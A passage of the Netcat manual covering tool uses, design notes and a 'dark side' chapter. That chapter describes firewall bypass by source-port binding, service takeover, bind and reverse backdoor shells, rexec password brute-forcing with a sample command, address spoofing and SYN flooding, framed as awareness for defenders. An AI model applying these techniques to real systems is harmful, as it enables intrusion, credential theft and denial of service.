both directions, but you never know what 578 | interesting quirks you might turn up by playing around with source ports 579 | and addresses and watching the wires with a network monitor. 580 | 581 | You can use Netcat to protect your own workstation's X server against 582 | outside access. X is stupid enough to listen for connections on ``any'' 583 | and never tell you when new connections arrive, which is one reason it 584 | is so vulnerable. Once you have all your various X windows up and 585 | running you can use Netcat to bind just to your ethernet address and 586 | listen to port 6000. Any new connections from outside the machine will 587 | hit Netcat instead your X server, and you get a log of who's trying. 588 | You can either tell Netcat to drop the connection, or perhaps run 589 | another copy of itself to relay to your actual X server on 590 | ``localhost''. This may not work for dedicated X terminals, but it may 591 | be possible to authorize your X terminal only for its boot server, and 592 | run a relay Netcat over on the server that will in turn talk to your X 593 | terminal. Since Netcat only handles one listening connection per run, 594 | make sure that whatever way you rig it causes another one to run and 595 | listen on 6000 soon afterward, or your real X server will be reachable 596 | once again. A very minimal script just to protect yourself could be 597 | 598 | @example 599 | while true ; do 600 | nc -v -l -s @var{your-addr} -p 6000 localhost 2 601 | done 602 | @end example 603 | 604 | @noindent 605 | which causes Netcat to accept and then close any inbound connection to 606 | your workstation's normal ethernet address, and another copy is 607 | immediately run by the script. Send standard error to a file for a log 608 | of connection attempts. If your system can't do the ``specific bind'' 609 | thing all is not lost; run your X server on display @code{:1} or port 610 | 6001, and Netcat can still function as a probe alarm by listening on 611 | 6000. 612 | 613 | Does your shell-account provider allow personal Web pages, but not 614 | @acronym{CGI} scripts? You can have Netcat listen on a particular port 615 | to execute a program or script of your choosing, and then just point to 616 | the port with a @acronym{URL} in your homepage. The listener could even 617 | exist on a completely different machine, avoiding the potential ire of 618 | the homepage-host administrators. Since the script will get the raw 619 | browser query as input it won't look like a typical @acronym{CGI} 620 | script, and since it's running under your user id you need to write it 621 | carefully. You may want to write a Netcat-based script as a wrapper 622 | that reads a query and sets up environment variables for a regular 623 | @acronym{CGI} script. The possibilities for using Netcat and scripts to 624 | handle Web stuff are almost endless. Again, see the examples under 625 | scripts/. 626 | 627 | @node Dark side 628 | @chapter Example uses---the dark side 629 | 630 | Equal time is deserved here, since a versatile tool like this can be 631 | useful to any Shade of Hat. I could use my Victorinox to either fix 632 | your car or disassemble it, right? You can clearly use something like 633 | Netcat to attack or defend---I don't try to govern anyone's social 634 | outlook, I just build tools. Regardless of your intentions, you should 635 | still be aware of these threats to your own systems. 636 | 637 | The first obvious thing is scanning someone @emph{else's} network for 638 | vulnerable services. Files containing preconstructed data, be it 639 | exploratory or exploitive, can be fed in as standard input, including 640 | command-line arguments to Netcat itself to keep @command{ps} ignorant of 641 | your doings. The more random the scanning, the less likelihood of 642 | detection by humans, scan-detectors, or dynamic filtering, and with 643 | @option{-i} you'll wait longer but avoid loading down the target's 644 | network. Some examples for crafting various standard @acronym{UDP} 645 | probes are given in @file{data/*.d}. 646 | 647 | Some configurations of packet filters attempt to solve the 648 | @acronym{FTP}-data problem by just allowing such connections from the 649 | outside. These come @emph{from} port 20, @emph{to} high @acronym{TCP} 650 | ports inside---if you locally bind to port 20, you may find yourself 651 | able to bypass filtering in some cases. Maybe not to low ports 652 | ``inside'', but perhaps to @acronym{TCP} @acronym{NFS} servers, X 653 | servers, Prospero, ciscos that listen on 200x and 400x... Similar 654 | bypassing may be possible for @acronym{UDP} (and maybe @acronym{TCP} 655 | too) if a connection comes from port 53; a filter may assume it's a 656 | nameserver response. 657 | 658 | Using @option{-e} in conjunction with binding to a specific address can 659 | enable ``server takeover'' by getting in ahead of the real ones, 660 | whereupon you can snarf data sent in and feed your own back out. At the 661 | very least you can log a hex dump of someone else's session. If you are 662 | root, you can certainly use @option{-s} and @option{-e} to run various 663 | hacked daemons without having to touch @file{inetd.conf} or the real 664 | daemons themselves. You may not always have the root access to deal 665 | with low ports, but what if you are on a machine that also happens to be 666 | an @acronym{NFS} server? You might be able to collect some interesting 667 | things from port 2049, including local file handles. There are several 668 | other servers that run on high ports that are likely candidates for 669 | takeover, including many of the @acronym{RPC} services on some platforms 670 | (@command{yppasswdd}?). Kerberos tickets, X cookies, and @acronym{IRC} 671 | traffic also come to mind. RADIUS-based terminal servers connect 672 | incoming users to shell-account machines on a high port, usually 1642 or 673 | thereabouts. @acronym{SOCKS} servers run on 1080. Do @command{netstat 674 | -a} and get creative. 675 | 676 | There are some daemons that are well-written enough to bind separately 677 | to all the local interfaces, possibly with an eye toward heading off 678 | this sort of problem. Named from recent BIND releases, and 679 | @acronym{NTP}, are two that come to mind. Netstat will show these 680 | listening on address.53 instead of *.53. You won't be able to get in 681 | front of these on any of the real interface addresses, which of course 682 | is especially interesting in the case of named, but these servers 683 | sometimes forget about things like ``alias'' interface addresses or 684 | interfaces that appear later on such as dynamic @acronym{PPP} links. 685 | There are some hacked web servers and versions of @command{inetd} 686 | floating around that specifically bind as well, based on a configuration 687 | file---these generally @emph{are} bound to alias addresses to offer 688 | several different address-based services from one machine. 689 | 690 | Using @option{-e} to start a remote backdoor shell is another obvious 691 | sort of thing, easier than constructing a file for @command{inetd} to 692 | listen on @code{ingreslock} or something, and you can access-control it 693 | against other people by specifying a client host and port. Experience 694 | with this truly demonstrates how fragile the barrier between being 695 | ``logged in'' or not really is, and is further expressed by scripts/bsh. 696 | If you're already behind a firewall, it may be easier to make an 697 | @emph{outbound} connection and then run a shell; a small wrapper script 698 | can periodically try connecting to a known place and port, you can later 699 | listen there until the inbound connection arrives, and there's your 700 | shell. Running a shell via @acronym{UDP} has several interesting 701 | features, although be aware that once ``connected'', the @acronym{UDP} 702 | stub sockets tend to show up in @command{netstat} just like 703 | @acronym{TCP} connections and may not be quite as subtle as you wanted. 704 | Packets may also be lost, so use @acronym{TCP} if you need reliable 705 | connections. But since @acronym{UDP} is connectionless, a hookup of 706 | this sort will stick around almost forever, even if you ^C out of Netcat 707 | or do a reboot on your side, and you only need to remember the ports you 708 | used on both ends to reestablish. And outbound @acronym{UDP}-plus-exec 709 | connection creates the connected socket and starts the program 710 | immediately. On a listening @acronym{UDP} connection, the socket is 711 | created once a first packet is received. In either case, though, such a 712 | ``connection'' has the interesting side effect that only your 713 | client-side IP address and (chosen?) source port will thereafter be able 714 | to talk to it. Instant access control! A non-local third party would 715 | have to do @emph{all} of the following to take over such a session: 716 | 717 | @itemize @bullet 718 | @item 719 | forge @acronym{UDP} with your source address (trivial to do; see below) 720 | 721 | @item 722 | guess the port numbers of @emph{both} ends, or sniff the wire for them 723 | 724 | @item 725 | arrange to block @acronym{ICMP} or @acronym{UDP} return traffic between 726 | it and your real source, so the session doesn't die with a network write 727 | error. 728 | @end itemize 729 | 730 | The companion program @file{data/rservice.c} is helpful in scripting up 731 | any sort of r-service username or password guessing attack. The 732 | arguments to @command{rservice} are simply the strings that get 733 | null-terminated and passed over an @command{rcmd}-style connection, with 734 | the assumption that the client does not need a separate standard-error 735 | port. Brute-force password banging is best done via @command{rexec} if 736 | it is available since it is less likely to log failed attempts. Thus, 737 | doing @command{rservice joe joespass pwd | nc target exec} should return 738 | joe's home dir if the password is right, or ``Permission denied.'' Plug 739 | in a dictionary and go to town. If you're attacking rsh/rlogin, 740 | remember to be root and bind to a port between 512 and 1023 on your end, 741 | and pipe in @command{rservice joe joe pwd} and such. 742 | 743 | Netcat can prevent inadvertently sending extra information over a telnet 744 | connection. Use @command{nc -t} in place of telnet, and daemons that 745 | try to ask for things like @env{USER} and @env{TERM} environment 746 | variables will get no useful answers, as they otherwise would from a 747 | more recent telnet program. Some @command{telnetd}s actually try to 748 | collect this stuff and then plug the USER variable into ``login'' so 749 | that the caller is then just asked for a password! This mechanism could 750 | cause a login attempt as @emph{your} real username to be logged over 751 | there if you use a Borman-based telnet instead of @command{nc -t}. 752 | 753 | Got an unused network interface configured in your kernel 754 | (e.g. @acronym{SLIP}), or support for alias addresses? Ifconfig one to 755 | be any address you like, and bind to it with @option{-s} to enable all 756 | sorts of shenanigans with bogus source addresses. The interface 757 | probably has to be UP before this works; some @acronym{SLIP} versions 758 | need a far-end address before this is true. Hammering on @acronym{UDP} 759 | services is then a no-brainer. What you can do to an unfiltered syslog 760 | daemon should be fairly obvious; trimming the conf file can help protect 761 | against it. Many routers out there still blindly believe what they 762 | receive via RIP and other routing protocols. Although most 763 | @acronym{UDP} echo and chargen servers check if an incoming packet was 764 | sent from @emph{another} ``internal'' @acronym{UDP} server, there are 765 | many that still do not, any two of which (or many, for that matter) 766 | could keep each other entertained for hours at the expense of bandwidth. 767 | And you can always make someone wonder why she's being probed by 768 | nsa.gov. 769 | 770 | @ignore 771 | Your @acronym{TCP} spoofing possibilities are mostly limited to 772 | destinations you can source-route to while locally bound to your phony 773 | address. Many sites block source-routed packets these days for 774 | precisely this reason. If your kernel does oddball things when sending 775 | source-routed packets, try moving the pointer around with @option{-G}. 776 | You may also have to fiddle with the routing on your own machine before 777 | you start receiving packets back. Warning: some machines still send out 778 | traffic using the source address of the outbound interface, regardless 779 | of your binding, especially in the case of localhost. Check first. If 780 | you can open a connection but then get no data back from it, the target 781 | host is probably killing the IP options on its end (this is an option 782 | inside @acronym{TCP} wrappers and several other packages), which happens 783 | after the 3-way handshake is completed. If you send some data and 784 | observe the ``send-q'' side of @command{netstat} for that connection 785 | increasing but never getting sent, that's another symptom. 786 | 787 | Beware: if Sendmail 8.7.x detects a source-routed SMTP connection, it 788 | extracts the hop list and sticks it in the Received: header! 789 | @end ignore 790 | 791 | SYN bombing (sometimes called ``hosing'') can disable many @acronym{TCP} 792 | servers@footnote{At least if SYN cookies are not enabled.}, and if you 793 | hit one often enough, you can keep it unreachable for days. As is true 794 | of many other denial-of-service attacks, there is currently no defense 795 | against it except maybe at the human level. Making kernel 796 | @code{SOMAXCONN} considerably larger than the default and the half-open 797 | timeout smaller can help, and indeed some people running large 798 | high-performance web servers have @emph{had} to do that just to handle 799 | normal traffic. Taking out mailers and web servers is sociopathic, but 800 | on the other hand it is sometimes useful to be able to, say, disable a 801 | site's identd daemon for a few minutes. If someone realizes what is 802 | going on, backtracing will still be difficult since the packets have a 803 | phony source address, but calls to enough ISP NOCs might eventually 804 | pinpoint the source. It is also trivial for a clueful ISP to watch for 805 | or even block outgoing packets with obviously fake source addresses, but 806 | as we know many of them are not clueful or willing to get involved in 807 | such hassles. Besides, outbound packets with an (otherwise unreachable) 808 | source address in one of their net blocks would look fairly legitimate. 809 | 810 | @node Notes 811 | @chapter Notes 812 | 813 | A discussion of various caveats, subtleties, and the design of the 814 | innards. 815 | 816 | @ignore 817 | As of version 1.07 you can construct a single file containing command 818 | arguments and then some data to transfer. Netcat is now smart enough to 819 | pick out the first line and build the argument list, and send any 820 | remaining data across the net to one or multiple ports. The first 821 | release of Netcat had trouble with this---it called @code{fgets()} for 822 | the command line argument, which behind the scenes does a large 823 | @code{read()} from standard input, perhaps 4096 bytes or so, and feeds 824 | that out to the @code{fgets()} library routine. By the time Netcat 1.00 825 | started directly @code{read()}ing stdin for more data, 4096 bytes of it 826 | were gone. It now uses raw @code{read()} everywhere and does the right 827 | thing whether reading from files, pipes, or ttys. If you use this for 828 | multiple-port connections, the single block of data will now be a 829 | maximum of 8K minus the first line. Improvements have been made to the 830 | logic in sending the saved chunk to each new port. Note that any 831 | command-line arguments hidden using this mechanism could still be 832 | extracted from a core dump. 833 | @end ignore 834 | 835 | When Netcat receives an inbound @acronym{UDP} connection, it creates a 836 | ``connected socket'' back to the source of the connection so that it can 837 | also send out data using normal @code{write()}. Using this mechanism 838 | instead of recvfrom/sendto has several advantages---the read/write 839 | select loop is simplified, and @acronym{ICMP} errors can in effect be 840 | received by non-root users. However, it has the subtle side effect that 841 | if further @acronym{UDP} packets arrive from the caller but from 842 | different source ports, the listener will not receive them. 843 | @acronym{UDP} listen mode on a multihomed machine may have similar 844 | quirks unless you specifically bind to one of its addresses. It is not 845 | clear that kernel support for @acronym{UDP} connected sockets and/or my 846 | understanding of it is entirely complete here, so experiment... 847 | 848 | You should be aware of some subtleties concerning @acronym{UDP} 849 | scanning. If @option{-z} is on, Netcat attempts to send a single null 850 | byte to the target port, twice, with a small time in between. You can 851 | either use the @option{-w} timeout, or Netcat will try to make a 852 | ``sideline'' @acronym{TCP} connection to the target to introduce a small 853 | time delay equal to the round-trip time between you and the target. 854 | Note that if you have a @option{-w} timeout and @option{-i} timeout set, 855 | @emph{both} take effect and you wait twice as long. The @acronym{TCP} 856 | connection is to a normally refused port to minimize traffic, but if you 857 | notice a @acronym{UDP} fast-scan taking somewhat longer than it should, 858 | it could be that the target is actually listening on the @acronym{TCP} 859 | port. Either way, any @acronym{ICMP} port-unreachable messages from the 860 | target should have arrived in the meantime. The second single-byte 861 | @acronym{UDP} probe is then sent. Under @acronym{BSD} kernels, the 862 | @acronym{ICMP} error is delivered to the ``connected socket'' and the 863 | second write returns an error, which tells Netcat that there is 864 | @emph{not} a @acronym{UDP} service there. While Linux seems to be a 865 | fortunate exception, under many SYSV derived kernels the @acronym{ICMP} 866 | is not delivered, and Netcat starts reporting that @emph{all} the ports 867 | are ``open''---clearly wrong.@footnote{Some systems may not even 868 | @emph{have} the ``udp connected socket'' concept, and Netcat in its 869 | current form will not work for @acronym{UDP} at all.} If @option{-z} is 870 | specified and only one @acronym{UDP} port is probed, Netcat's exit 871 | status reflects whether the connection was ``open'' or ``refused'' as 872 | with @acronym{TCP}. 873 | 874 | It may also be that @acronym{UDP} packets are being blocked by filters 875 | with no @acronym{ICMP} error returns, in which case everything will time 876 | out and return ``open''. This all sounds backwards, but that's how 877 | @acronym{UDP} works. If you're not sure, try @command{echo w00gumz | nc 878 | -u -w 2 target 7} to see if you can reach its @acronym{UDP} echo port at 879 | all. You should have no trouble using a @acronym{BSD}-flavor system to 880 | scan for @acronym{UDP} around your own network, although flooding a 881 | target with the high activity that @option{-z} generates will cause it 882 | to occasionally drop packets and indicate false ``opens''. A more 883 | ``correct'' way to do this is collect and analyze the @acronym{ICMP} 884 | errors, as does @acronym{SATAN}'s @command{udp_scan} backend, but then 885 | again there's no guarantee that the @acronym{ICMP} gets back to you 886 | either. Udp_scan also does the zero-byte probes but is excruciatingly 887 | careful to calculate its own round-trip timing average and dynamically 888 | set its own response timeouts along with decoding any @acronym{ICMP} 889 | received. Netcat uses a much sleazier method which is nonetheless quite 890 | effective. Cisco routers are known to have a ``dead time'' in between 891 | @acronym{ICMP} responses about unreachable @acronym{UDP} ports, so a 892 | fast scan of a cisco will show almost everything ``open''. If you are 893 | looking for a specific @acronym{UDP} service, you can construct a file 894 | containing the right bytes to trigger a response from the other end and 895 | send that as standard input. Netcat will read up to 8K of the file and 896 | send the same data to every @acronym{UDP} port given. Note that you 897 | must use a timeout in this case (as would any other @acronym{UDP} client 898 | application) since the two-write probe only happens if @option{-z} is 899 | specified. 900 | 901 | Many telnet servers insist on a specific set of option negotiations 902 | before presenting a login banner. On a raw connection you will see this 903 | as small amount of binary gook. My attempts to create fixed input bytes 904 | to make a @command{telnetd} happy worked some places but failed against 905 | newer @acronym{BSD}-flavor ones, possibly due to timing problems, but 906 | there are a couple of much better workarounds. First, use @option{-t} 907 | if you just want to get past the option negotiation and talk to 908 | something on a telnet port. You will still see the binary gook---in 909 | fact you'll see a lot more of it as the options are responded to behind 910 | the scenes. The telnet responder @emph{does} update the total byte 911 | count, and show up in the hex dump. If you want to use a normal 912 | full-blown telnet to get to something but also want some of Netcat's 913 | features involved like settable ports or timeouts, construct a tiny 914 | @command{foo} script: 915 | 916 | @example 917 | #! /bin/sh 918 | exec nc -otheroptions targethost 23 919 | @end example 920 | 921 | @noindent 922 | and then do 923 | 924 | @example 925 | nc -l -p someport -e foo localhost & 926 | telnet localhost someport 927 | @end example 928 | 929 | @noindent 930 | and your telnet should connect transparently through the exec'ed Netcat 931 | to the target, using whatever options you supplied in the @command{foo} 932 | script. Don't use @option{-t} inside the script, or you'll wind up 933 | sending @emph{two} option responses. 934 | 935 | I've observed inconsistent behavior under some Linuxes (perhaps just 936 | older ones?) when binding in listen mode. Sometimes Netcat binds only 937 | to ``localhost'' if invoked with no address or port arguments, and 938 | sometimes it is unable to bind to a specific address for listening if 939 | something else is already listening on ``any''. The former problem can 940 | be worked around by specifying @option{-s 0.0.0.0}, which will do the 941 | right thing despite Netcat claiming that it's listening on 127.0.0.1. 942 | This is a known problem---for example, there's a mention of it in the 943 | makefile for @acronym{SOCKS}. On the flip side, binding to localhost 944 | and sending packets to some other machine doesn't work as you'd 945 | expect---they go out with the source address of the sending interface 946 | instead. The Linux kernel contains a specific check to ensure that 947 | packets from 127.0.0.1 are never sent to the wire; other kernels may 948 | contain similar code. Linux, of course, @emph{still} doesn't support 949 | source-routing, but they claim that it and many other network 950 | improvements are at least breathing hard. 951 | 952 | There are several possible errors associated with making @acronym{TCP} 953 | connections, but to specifically see anything other than ``refused'', 954 | one must wait the full kernel-defined timeout for a connection to fail. 955 | Netcat's mechanism of wrapping an alarm timer around the connect 956 | prevents the @emph{real} network error from being 957 | returned---@code{errno} at that point indicates ``interrupted system 958 | call'' since the connect attempt was interrupted. Some old 4.3 959 | @acronym{BSD} kernels would actually return things like ``host 960 | unreachable'' immediately if that was the case, but most newer kernels 961 | seem to wait the full timeout and @emph{then} pass back the real error. 962 | Go figure. In this case, I'd argue that the old way was better, despite 963 | those same kernels generally being the ones that tear down 964 | @emph{established} @acronym{TCP} connections when @acronym{ICMP}-bombed. 965 | 966 | ``Credits'' section: The original idea for Netcat fell out of a 967 | long-standing desire and fruitless search for a tool resembling it and 968 | having the same features. After reading some other network code and 969 | realizing just how many cool things about sockets could be controlled by 970 | the calling user, I started on the basics and the rest fell together 971 | pretty quickly. Some port-scanning ideas were taken from 972 | Venema/Farmer's @acronym{SATAN} tool kit, and Pluvius' @command{pscan} 973 | utility. Healthy amounts of @acronym{BSD} kernel source were perused in 974 | an attempt to dope out socket options and source-route handling; 975 | additional help was obtained from Dave Borman's telnet sources. The 976 | select loop is loosely based on fairly well-known code from 977 | @command{rsh} and Richard Stevens' @command{sock} program (which itself 978 | is sort of a Netcat with more obscure features), with some more paranoid 979 | sanity-checking thrown in to guard against the distinct likelihood that 980 | there are subtleties about such things I still don't understand. I 981 | found the argument-hiding method cleanly implemented in Barrett's 982 | @command{deslogin}; reading the line as input allows greater versatility 983 | and is much less prone to cause bizarre problems than the more common 984 | trick of overwriting the argv array. After the first release, several 985 | people contributed portability fixes; they are credited in generic.h and 986 | the Makefile. Lauren Burka inspired the ascii art for this revised 987 | document. Dean Gaudet at Wired supplied a precursor to the hex-dump 988 | code, and mudge@@l0pht.com originally experimented with and supplied 989 | code for the telnet-options responder. Outbound @option{-e @var{prog}} 990 | resulted from a need to quietly bypass a firewall installation. Other 991 | suggestions and patches have rolled in for which I am always grateful, 992 | but there are only 26 hours per day and a discussion of feature creep 993 | near the end of this document. 994 | 995 | Netcat was written with the Russian railroad in mind---conservatively 996 | built and solid, but it @emph{will} get you there. While the coding 997 | style is fairly ``tight'', I have attempted to present it cleanly 998 | (keeping @emph{my} lines under 80 characters, dammit) and put in plenty 999 | of comments as to why certain things are done. Items I know to be 1000 | questionable are clearly marked with @code{XXX}. Source code was made 1001 | to be modified, but determining where to start is difficult with some of 1002 | the tangles of spaghetti code that are out there. Here are some of the 1003 | major points I feel are worth mentioning about Netcat's internal design, 1004 | whether or not you agree with my approach. 1005 | 1006 | Netcat is a single source file. This has the distinct advantage of only 1007 | having to include headers once and not having to re-declare all my 1008 | functions in a billion different places. I have attempted to contain 1009 | all the gross who's-got-what-.h-file things in one small dumping ground. 1010 | 1011 | File descriptor zero is always expected to be standard input. We don't 1012 | actually need to close it. 1013 | 1014 | Where many other network apps use the @code{FIONBIO} ioctl to set 1015 | non-blocking I/O on network sockets, Netcat uses straightforward 1016 | blocking I/O everywhere. This makes everything very lock-step, relying 1017 | on the network and filesystem layers to feed in data when needed. Data 1018 | read in is completely written out before any more is fetched. This may 1019 | not be quite the right thing to do under some OSes that don't do 1020 | @code{poll()} right, but this remains to be seen. 1021 | 1022 | The hexdump routine is written to be as fast as possible, which is why 1023 | it does so much work itself instead of just @code{sprintf()}ing 1024 | everything together. Each dump line is built into a single buffer and 1025 | atomically written out using the lowest level I/O calls. If both 1026 | exec-a-prog mode and a hexdump file is asked for, the hexdump flag is 1027 | deliberately turned off to avoid creating random zero-length files. 1028 | Files are opened in ``truncate'' mode; if you want ``append'' mode 1029 | instead, change the open flags in @code{main()}. 1030 | 1031 | Obligatory vendor-bash: If @command{nc} had become a standard utility 1032 | years ago, the commercial vendors would have likely packaged it setuid 1033 | root and without documenting @code{-e}. It is hoped that Netcat will 1034 | aid people in finding and fixing the no-brainer holes of this sort that 1035 | keep appearing, by allowing easier experimentation with the ``bare 1036 | metal'' of the network layer. 1037 | 1038 | It could be argued that Netcat already has too many features. I have 1039 | tried to avoid ``feature creep'' by limiting Netcat's base functionality 1040 | only to those things which are truly relevant to making network 1041 | connections and the everyday associated @acronym{DNS} lossage we're used 1042 | to. Option switches already have slightly overloaded functionality. 1043 | Random port mode is sort of pushing it. The hex-dump feature went in 1044 | later because it @emph{is} genuinely useful. The telnet-responder code 1045 | @emph{almost} verges on the gratuitous, especially since it mucks with 1046 | the data stream, and is left as an optional piece. Many people have 1047 | asked for example ``how 'bout adding encryption?'' and my response is 1048 | that such things should be separate entities that could pipe their data 1049 | @emph{through} Netcat instead of having their own networking code. I am 1050 | therefore not completely enthusiastic about adding any more features to 1051 | this thing, although you are still free to send along any mods you think 1052 | are useful. 1053 | 1054 | Nonetheless, at this point I think of Netcat as my @acronym{TCP/IP} 1055 | swiss army knife, and the numerous companion programs and scripts to go 1056 | with it as duct tape. Duct tape of course has a light side and a dark 1057 | side and binds the universe together, and if I wrap enough of it around 1058 | what I'm trying to accomplish, it @emph{will} work. Alternatively, if 1059 | Netcat is a large hammer, there are many network protocols that are 1060 | increasingly looking like nails by now... 1061 | 1062 | @bye 1063 | --------------------------------------------------------------------------------